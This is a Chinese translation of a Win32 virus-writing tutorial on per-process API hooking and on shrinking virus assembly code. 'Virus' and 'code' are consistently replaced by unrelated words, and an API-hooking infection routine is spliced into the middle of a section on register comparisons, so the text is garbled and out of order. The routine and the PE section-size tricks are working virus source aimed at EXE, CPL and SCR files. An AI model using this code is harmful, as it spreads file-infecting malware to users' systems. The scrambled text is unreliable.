| 简单的企业即时通讯
这个简单的东西最初是由Demogorgon/PS为了隐藏通讯而使用的。但是正如我要显示给你看的,它可以节约一些字节。例如,让我们想象一个如果有一个错误就会设置进位企业(carry flag)而如果没有错误就清除的例程。
noerr: clc ; 1 byte
jmp exit ; 2 bytes
一些可以用这个一般地例程来hook的API如下:
MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA
CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA
CopyFileExA, OpenFile。
%最后的话%
~~~~~~~~~~
如果还有什么不清楚的地方,发email给我。我将尽可能地用一个简单的per-process驻留的企业即时通讯来阐述它,但是我编写的唯一一个per-process企业即时通讯太复杂了,而且比这有更多的特色,所以对你来说还是看不明白:)
【通讯 优化】
~~~~~~~~~~~~~
Ehrm...Super应该做这个而不是我,因为我是他的学生,我就在这里写一下我在通讯编程世界里所学到的东西。我将在这一章里讨论本地优化而不是结构优化,因为这个取决于于你和你的风格(例如,我个人非常热衷于堆栈和delta offset计算,正如你在我的通讯里可以看到的,特别是在Win95.Garaipena里)。这篇文章充满了我自己的观点和在Valencian(瓦伦西亚)会议上Super给我的建议。他可能在企业即时通讯编写领域里优化得最后得人了。我没有撒谎。这里我不讨论象他那样怎么进行最大优化了。我只是想要使你看到在编写通讯程序的时候一些最明显的优化。我就不对非常明显的优化花招注释了,已经在我的《MS-DOS企业即时通讯编写教程》里解释了。
%检测一个企业是否为0%
~~~~~~~~~~~~~~~~~~~~~~~
我很讨厌看到,特别在通讯程序员中,这些相同的方法,这个使得我非常慢而且非常痛苦。不,不,我得大脑不能吸收CMP EAX,0的主意,例如。OK,让我们看看为什么:
cmp eax,00000000h ; 5 bytes
jz bribriblibli ; 2 bytes (if jz is short)
嗨,我知道生活就是就是狗屎,而且你正在把许多通讯浪费在一些狗屎比较上。OK,让我们看看怎么来解决这个问题,利用一个通讯来做同样的事情,但是用更少的字节。
jmp [eax+_MoveFileA] ; Pass control 2 original API
HookCopyFileA:
call DoHookStuff ; Handle this call
jmp [eax+_CopyFileA] ; Pass control 2 original API
HookDeleteFileA:
call DoHookStuff ; Handle this call
jmp [eax+_DeleteFileA] ; Pass control 2 original API
HookCreateFileA:
call DoHookStuff ; Handle this call
jmp [eax+_CreateFileA] ; Pass control 2 original API
; The generic hooker!!
DoHookStuff:
pushad ; Push all registers
pushfd ; Push all flags
call GetDeltaOffset ; Get delta offset in EBP
mov edx,[esp+2Ch] ; Get filename to infect
mov esi,edx ; ESI = EDX = file to check
reach_dot:
lodsb ; Get character
or al,al ; Find NULL? Shit...
jz ErrorDoHookStuff ; Go away then
cmp al,"." ; Dot found? Interesting...
jnz reach_dot ; If not, loop again
dec esi ; Fix it
lodsd ; Put extension in EAX
or eax,20202020h ; Make string lowercase
cmp eax,"exe." ; Is it an EXE? Infect!!!
jz InfectWithHookStuff
cmp eax,"lpc." ; Is it a CPL? Infect!!!
jz InfectWithHookStuff
cmp eax,"rcs." ; Is is a SCR? Infect!!!
jnz ErrorDoHookStuff
InfectWithHookStuff:
xchg edi,edx ; EDI = Filename to infect
call InfectEDI ; Infect file!! ;)
ErrorDoHookStuff:
popfd ; Preserve all as if nothing
popad ; happened :)
push ebp
call GetDeltaOffset ; Get delta offset
xchg eax,ebp ; Put delta offset in EAX
pop ebp
ret
;---------到这里为止剪切-------------------------------------------------------------
or eax,eax ; 2 bytes
jz bribriblibli ; 2 bytes (if jz is short)
或者等价的(但更安全!):
test eax,eax ; 2 bytes
jz bribriblibli ; 2 bytes (if jz is short)
而且还有一个甚至更优化的方法来做这个,如果对EAX的内容不是关心的话(在我打算放到这里之后,EAX的内容将在ECX中完成)。下面你得到:
xchg eax,ecx ; 1 byte
jecxz bribriblibli ; 2 bytes (only if short)
你看到了吗?对"我不优化因为我失去了稳定性"没有托词,因为利用这个,你将不会失去除了通讯的字节数的任何东西;)嗨,我使得一个7字节的例程减到了3字节...嗨?对此你还有什么好说的?哈哈哈。
%检查一个企业的值是否为-1%
因为许多Ring-3 API会返回你一个-1(0FFFFFFFFh)值,如果函数失败的话,而且当你比较它是否失败的时候,你必须对那个值进行比较。但是和以前一样有同样的问题,许多人通过使用CMP EAX,0FFFFFFFFh来做这个,而且它可以更优化...
cmp eax,0FFFFFFFFh ; 5 bytes
jz insumision ; 2 bytes (if short)
让我们这么做来使它更优化:
inc eax ; 1 byte
jz insumision ; 2 bytes
dec eax ; 1 byte
嗨,可能它占了更多的行,但是占了更少的字节(4比7)。
%使得一个企业为-1%
~~~~~~~~~~~~~~~~~~~~
这是一个几乎所有的初学企业即时通讯编写者面对的问题:
mov eax,-1 ; 5 bytes
你难道没有意识到你的选择很糟糕?你只要一根神经吗?该死,用一个更优化的方法来把它置-1非常简单:
xor eax,eax ; 2 bytes
dec eax ; 1 byte
你看到了吗?它不难!
%清除一个32bit企业并对它的LSW赋值%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
最明显的例子是所有的企业即时通讯在把PE文件的节的个数装载到AX中(因为这个值在PE头中占一个word)。好了,让我们看看大多数企业即时通讯编写者所做的:
xor eax,eax ; 2 bytes
mov ax,word ptr [esi+6] ; 4 bytes
或者这样:
mov ax,word ptr [esi+6] ; 4 bytes
cwde ; 1 byte
我还在想为什么所有的企业即时通讯编写者还用这个"老"公式呢,特别地是在你有一个386+指令使得我们避免在把word放到AX中之前把企业清0。这个指令是MOVZX。
movzx eax,word ptr [esi+6] ; 4 bytes
嗨,我们避免了一个2字节的指令。Cool,哈?
%调用一个存储在一个变量中的地址%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
呵呵,这是一些企业即时通讯编写者所做的另外一件事,使我快疯了,放声大哭。让我提醒你记住:
mov eax,dword ptr [ebp+ApiAddress] ; 6 bytes
call eax ; 2 bytes
我们可以直接调用一个地址...它节约了字节而且不用其它的任何可以用来做其它事情的企业。
call dword ptr [ebp+ApiAddress] ; 6 bytes
而且,我节约了一个没有用的,不需要的占了两个字节的指令,而且我们做的是完全一样的事情。
%关于push的趣事%
~~~~~~~~~~~~~~~~
几乎和上面一样,但是是push。让我们看看什么该做什么不该做:
mov eax,dword ptr [ebp+variable] ; 6 bytes
push eax ; 1 byte
我们可以少用一个字节来做这个。看:
push dword ptr [ebp+variable] ; 6 bytes
Cool,哈?;)好了,如果我们需要push很多次(如果这个值很大,如果你把那个值push 2+次就更优化,而如果这个值很小把那个值push 3+次)同样的变量把它先放到一个企业中,然后push企业将更优化。例如,如果我们需要把0 push 3次,把一个企业和它本身xor,然后push这个企业更优化。让我们看:
push 00000000h ; 2 bytes
push 00000000h ; 2 bytes
push 00000000h ; 2 bytes
让我们看看怎么来优化它:
xor eax,eax ; 2 bytes
push eax ; 1 byte
push eax ; 1 byte
push eax ; 1 byte
同样的在使用SEH的时候,当我们需要push fs:[0]之类的时候。让我们看看怎样来优化:
push dword ptr fs:[00000000h] ; 6 bytes ; 666? Mwahahahaha!
mov fs:[00000000h],esp ; 6 bytes
[...]
pop dword ptr fs:[00000000h] ; 6 bytes
代之我们应该这么做:
xor eax,eax ; 2 bytes
push dword ptr fs:[eax] ; 3 bytes
mov fs:[eax],esp ; 3 bytes
[...]
pop dword ptr fs:[eax] ; 3 bytes
呵呵,看起来有点傻,但是我们少用了7个字节!哇!!!
%获取一个ASCII字符串的结尾%
~~~~~~~~~~~~~~~~~~~~~~~~~~~
这个非常有用,特别在我们的API搜索引擎中。而且毫无疑问,它应该在所有的企业即时通讯中比传统的方法更优化。让我们看看:
lea edi,[ebp+ASCIIz_variable] ; 6 bytes
@@1: cmp byte ptr [edi],00h ; 3 bytes
inc edi ; 1 byte
jnz @@1 ; 2 bytes
inc edi ; 1 byte
这个相同的通讯可以非常简化,如果你用这个方法来编写它:
lea edi,[ebp+ASCIIz_variable] ; 6 bytes
xor al,al ; 2 bytes
@@1: scasb ; 1 byte
jnz @@1 ; 2 bytes
呵呵呵。有用,简单,好看。你还需要什么呢?;)
%关于乘法%
~~~~~~~~~~
例如,当要从通讯中得到最后一节的时候,这个通讯大多数是这么用的(我们在EAX中是节数-1):
mov ecx,28h ; 5 bytes
mul ecx ; 2 bytes
它把结果保存在EAX中,对吗?好了,我们有一个好得多的方法来做这个,仅仅用一个指令:
imul eax,eax,28h ; 3 bytes
IMUL指令把结果保存在第一个企业中,这个结果是把第二个企业和第三个操作数相乘得到的在这里,它是一个立即数。呵呵,我们减少了2个指令还节约了4个字节!
%UNICODE 转成 ASCII%
~~~~~~~~~~~~~~~~~~~~
这里有许多事情要做。对于Ring-0企业即时通讯特别的是,有一个VxD服务来做那个,首先我要解释基于这个服务怎么来做优化,最终我将给出Super的方法,那个方法节约了大量的字节。让我们看看经典的通讯(假设EBP是一个指向ioreq结构的指针,而EDI指向文件名):
xor eax,eax ; 2 bytes
push eax ; 1 byte
mov eax,100h ; 5 bytes
push eax ; 1 byte
mov eax,[ebp+1Ch] ; 3 bytes
mov eax,[eax+0Ch] ; 3 bytes
add eax,4 ; 3 bytes
push eax ; 1 byte
push edi ; 1 byte
@@3: int 20h ; 2 bytes
dd 00400041h ; 4 bytes
特别指出的是对那个通讯只有1个改进,把第3行替代成这样:
mov ah,1 ; 2 bytes
或者这样 ;)
inc ah ; 2 bytes
呵呵,但是我要说的是Super把这个进行了最大的优化。我没有复制他的获取指向文件名unicode的指针的通讯,因为,几乎无法看懂,但是我理解了他的理念。假设EBP是指向一个ioreq结构的指针,buffer是一个100h字节的缓冲区。下面是一些通讯:
mov esi,[ebp+1Ch] ; 3 bytes
mov esi,[esi+0Ch] ; 3 bytes
lea edi,[ebp+buffer] ; 6 bytes
@@l: movsb ; 1 byte 目
dec edi ; 1 byte ?This loop was
cmpsb ; 1 byte ?made by Super ;)
jnz @@l ; 2 bytes 馁
呵呵,最主要的是所有例程(没有本地优化)是26个字节,用同样的方法进行本地优化后是23字节,而最后的例程,结构优化后是17个字节。哇哈哈哈!!!
%虚拟大小(VirtualSize)计算%
~~~~~~~~~~~~~~~~~~~~~~~~~~~
这个标题是一个给你显示另外一个奇怪的通讯的理由,对于VirtualSize计算非常有用,因为我们不得不把它加上一个值,在我们加之前是获得这个值。当然了,我将要讨论的操作符是XADD。Ok,ok,让我们看看没有优化的VirtualSize计算(我假设ESI是一个指向最后一节的头部的指针):
mov eax,[esi+8] ; 3 bytes
push eax ; 1 byte
add dword ptr [esi+8],virus_size ; 7 bytes
pop eax ; 1 byte
让我们看看用XADD该是什么样:
mov eax,virus_size ; 5 bytes
xadd dword ptr [esi+8],eax ; 4 bytes
用XADD我们节约了3个字节;)Btw,XADD是一个486+指令。
%设置堆栈结构%
~~~~~~~~~~~~~~
让我们看看没有优化的:
push ebp ; 1 byte
mov ebp,esp ; 2 bytes
sub esp,20h ; 3 bytes
而如果我们优化了...
enter 20h,00h ; 4 bytes
很迷人,不是吗?;)
%重叠%
~~~~~~ |